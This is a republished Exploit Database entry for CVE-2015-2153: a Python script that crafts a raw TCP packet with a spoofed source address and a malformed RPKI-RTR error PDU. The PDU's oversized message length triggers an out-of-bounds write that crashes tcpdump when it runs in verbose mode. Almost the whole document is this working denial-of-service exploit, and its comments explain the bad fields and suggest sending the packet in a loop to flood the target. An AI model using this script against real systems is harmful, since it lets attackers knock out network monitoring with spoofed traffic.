TcpDump – rpki_rtr_pdu_print Out-of-Bounds Denial of Service

• Exploit Database
• 84 阅读

• 作者： Luke Arntson
  日期： 2015-07-20
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/37663/

• # Exploit Title: TcpDump rpki_rtr_pdu_print Out-of-Bounds Denial of Service
  # Date: 7.18.2015
  # Exploit Author: Luke Arntson arntsonl@gmail.com
  # Vendor Homepage: http://www.tcpdump.org/
  # Software Link: http://www.tcpdump.org/
  # Version: 4.6.2, 4.5.1, 4.4.0
  # Tested on: Lubuntu 14.04 64-bit
  # CVE : CVE-2015-2153
   
  # Note: tcpdump must be running in verbose mode for this Denial-of-Service to trigger.
   
  import socket, sys
  from struct import *
   
  def checksum(msg):
  s = 0
  for i in range(0, len(msg), 2):
  w = ord(msg[i]) + (ord(msg[i+1]) << 8 )
  s = s + w
  s = (s>>16) + (s & 0xffff);
  s = s + (s >> 16);
  s = ~s & 0xffff
  return s
  
  if len(sys.argv) != 3:
  print "Usage: ./CVE-2015-2153.py <source-ip> <destination-ip>"
  exit()
  
  # fake the source and destination
  source_ip = sys.argv[1]
  dest_ip = sys.argv[2]
  	
  try:
  s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
  except socket.error , msg:
  print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
  sys.exit()
   
  packet = ''
  
  # ip header fields
  ip_ihl = 5
  ip_ver = 4
  ip_tos = 0
  ip_tot_len = 0# kernel will fill the correct total length
  ip_id = 54321 #Id of this packet
  ip_frag_off = 0
  ip_ttl = 255
  ip_proto = socket.IPPROTO_TCP
  ip_check = 0# kernel will fill the correct checksum
  ip_saddr = socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to
  ip_daddr = socket.inet_aton ( dest_ip )
   
  ip_ihl_ver = (ip_ver << 4) + ip_ihl
   
  ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr)
   
  # tcp header fields
  tcp_source = 255 # source port
  tcp_dest = 323 # destination port
  tcp_seq = 454
  tcp_ack_seq = 0
  tcp_doff = 5#4 bit field, size of tcp header, 5 * 4 = 20 bytes
  #tcp flags
  tcp_fin = 0
  tcp_syn = 1
  tcp_rst = 0
  tcp_psh = 0
  tcp_ack = 0
  tcp_urg = 0
  tcp_window = socket.htons (5840)# maximum allowed window size
  tcp_check = 0
  tcp_urg_ptr = 0
   
  tcp_offset_res = (tcp_doff << 4) + 0
  tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5)
   
  tcp_header = pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags,tcp_window, tcp_check, tcp_urg_ptr)
  
  # CVE-2015-2153 out-of-bounds occurs here, when we send in a bad message length to the error type.
  # The RPKI pdu looks like the following
  # [ pdu version ] [ pdu type ] [ error id ] [ packet length ] [ encapsulated pdu length ] [ message length ] [ message ]
  # by giving message length a long value, we cause the buffer to write into bad memory
  error_pdu = '\x41' # fake version
  error_pdu = error_pdu + '\x0A' # error type
  error_pdu = error_pdu + '\x00\x01' # error number
  error_pdu = error_pdu + '\x00\x00\x00\x08' # must be less than or equal to total packet length
  error_pdu = error_pdu + '\x00\x00\x00\x00' # no encapsulated pdu
  error_pdu = error_pdu + '\x7F\xFF\xFF\xFF' # overwrite out-of-bounds '\0', causing DoS
  error_pdu = error_pdu + 'AAAA' # fake message
  
  user_data = error_pdu
  
  # pseudo header fields
  source_address = socket.inet_aton( source_ip )
  dest_address = socket.inet_aton(dest_ip)
  placeholder = 0
  protocol = socket.IPPROTO_TCP
  tcp_length = len(tcp_header) + len(user_data)
   
  psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
  psh = psh + tcp_header + user_data;
   
  tcp_check = checksum(psh)
  
  # make the tcp header again and fill the correct checksum - remember checksum is NOT in network byte order
  tcp_header = pack('!HHLLBBH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags,tcp_window) + pack('H' , tcp_check) + pack('!H' , tcp_urg_ptr)
   
  # final full packet - syn packets dont have any data
  packet = ip_header + tcp_header + user_data
   
  #Send the packet finally - the port specified has no effect
  s.sendto(packet, (dest_ip , 0 ))# put this in a loop if you want to flood the target
  

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